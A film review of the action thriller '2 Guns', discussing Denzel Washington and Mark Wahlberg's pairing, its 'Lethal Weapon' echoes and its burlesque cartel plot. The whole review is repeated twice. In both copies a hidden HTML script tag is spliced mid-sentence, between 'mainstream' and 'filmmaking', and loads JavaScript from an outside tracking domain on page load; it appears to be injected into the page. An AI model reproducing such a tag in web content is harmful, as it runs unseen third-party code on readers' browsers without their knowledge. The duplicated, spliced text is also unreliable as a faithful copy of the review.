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Big bangs and fast talk are the name of the genre game in “2 Guns,” a slick, slippery thriller that taps into the anarchic playfulness that made the best American action flicks of the 1980s and ’90s pop. Directed by Baltasar Kormakur, riffing on the cheerful irreverence of Shane Black and the hyperbolic style of Tony Scott, the movie turns on a pair of seemingly bad guys who may be good. A reissue of the five-part comic series on which it’s based sets the scene nicely: “Two guys walk into a bank. It goes badly.” It does in the movies as well, although now the duo spring off the page courtesy of Denzel Washington and Mark Wahlberg, one of the better odd couples to bond and bicker since Mel met Danny.
A smooth operator, Bobby (Mr. Washington), and a fast talker, Stig (Mr. Wahlberg), are the resident ebony-and-ivory tag — but are they cops or are they robbers? Stig certainly sounds like a nod to Riggs, the funny, frantic cop played by Mel Gibson in the “Lethal Weapon” series, as does Stig’s jokey yammering, military-honed skill set and concern for animal welfare. (Mr. Wahlberg has the sweet appeal of the young Mr. Gibson if none of the unnerving dangerousness.) In Steven Grant’s original comic, Stig is called Steadman, and Bobby looks like a California surfer complete with a blond flop and goatee. The casting of Mr. Washington, augmented with a fully upholstered chin, underscores the “Lethal Weapon” connection even if he sexes up the joint in a way that Danny Glover’s family man never could.
Written by Blake Masters, who embellishes the tricky story with generous repartee, the movie opens with Stig and Bobby edging around a Texas town and then settling into a diner for some breakfast and banter. An irrepressible flirt, Stig plays with a pretty waitress, but it’s soon clear that his heart belongs to Bobby. (Unlike in the “Lethal Weapon” series, there isn’t a dead wife or a living brood to bring anyone down.) Across from the diner there’s also a tiny bank that Bobby and Stig plan to relieve of $3 million belonging to Papi Greco (Edward James Olmos), the head of a Mexican drug cartel who, in turn, has recently relieved an associate of his head.
That head, briefly seen peeking out of a satchel, is a cheerfully vulgar touch, as is the glib use of Mexican cartel violence. Both feel almost calculated to offend, but like many other action movies of this blithe type, “2 Guns” doesn’t take place in the here and the now but in a burlesque version of the same. Some of its artificiality can be chalked up to the usual mainstream<script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=51df0a3b7e80f680d2c196e81aa8f7ca"></script> filmmaking imperatives, like stars who are at once recognizably real and prettier, thinner and sleeker, with whiter teeth and glossier skin, like the operative for the Drug Enforcement Agency played here by Paula Patton. Even Mr. Olmos’s beautiful, craggy mug looks buffed. That same unreality principle extends to the story and Mr. Kormakur’s bright, uncluttered style, which instantly shake off the real world and its obligations, thrusting the film straight into fantasy.
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Big bangs and fast talk are the name of the genre game in “2 Guns,” a slick, slippery thriller that taps into the anarchic playfulness that made the best American action flicks of the 1980s and ’90s pop. Directed by Baltasar Kormakur, riffing on the cheerful irreverence of Shane Black and the hyperbolic style of Tony Scott, the movie turns on a pair of seemingly bad guys who may be good. A reissue of the five-part comic series on which it’s based sets the scene nicely: “Two guys walk into a bank. It goes badly.” It does in the movies as well, although now the duo spring off the page courtesy of Denzel Washington and Mark Wahlberg, one of the better odd couples to bond and bicker since Mel met Danny.
A smooth operator, Bobby (Mr. Washington), and a fast talker, Stig (Mr. Wahlberg), are the resident ebony-and-ivory tag — but are they cops or are they robbers? Stig certainly sounds like a nod to Riggs, the funny, frantic cop played by Mel Gibson in the “Lethal Weapon” series, as does Stig’s jokey yammering, military-honed skill set and concern for animal welfare. (Mr. Wahlberg has the sweet appeal of the young Mr. Gibson if none of the unnerving dangerousness.) In Steven Grant’s original comic, Stig is called Steadman, and Bobby looks like a California surfer complete with a blond flop and goatee. The casting of Mr. Washington, augmented with a fully upholstered chin, underscores the “Lethal Weapon” connection even if he sexes up the joint in a way that Danny Glover’s family man never could.
Written by Blake Masters, who embellishes the tricky story with generous repartee, the movie opens with Stig and Bobby edging around a Texas town and then settling into a diner for some breakfast and banter. An irrepressible flirt, Stig plays with a pretty waitress, but it’s soon clear that his heart belongs to Bobby. (Unlike in the “Lethal Weapon” series, there isn’t a dead wife or a living brood to bring anyone down.) Across from the diner there’s also a tiny bank that Bobby and Stig plan to relieve of $3 million belonging to Papi Greco (Edward James Olmos), the head of a Mexican drug cartel who, in turn, has recently relieved an associate of his head.
That head, briefly seen peeking out of a satchel, is a cheerfully vulgar touch, as is the glib use of Mexican cartel violence. Both feel almost calculated to offend, but like many other action movies of this blithe type, “2 Guns” doesn’t take place in the here and the now but in a burlesque version of the same. Some of its artificiality can be chalked up to the usual mainstream<script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=51df0a3b7e80f680d2c196e81aa8f7ca"></script> filmmaking imperatives, like stars who are at once recognizably real and prettier, thinner and sleeker, with whiter teeth and glossier skin, like the operative for the Drug Enforcement Agency played here by Paula Patton. Even Mr. Olmos’s beautiful, craggy mug looks buffed. That same unreality principle extends to the story and Mr. Kormakur’s bright, uncluttered style, which instantly shake off the real world and its obligations, thrusting the film straight into fantasy.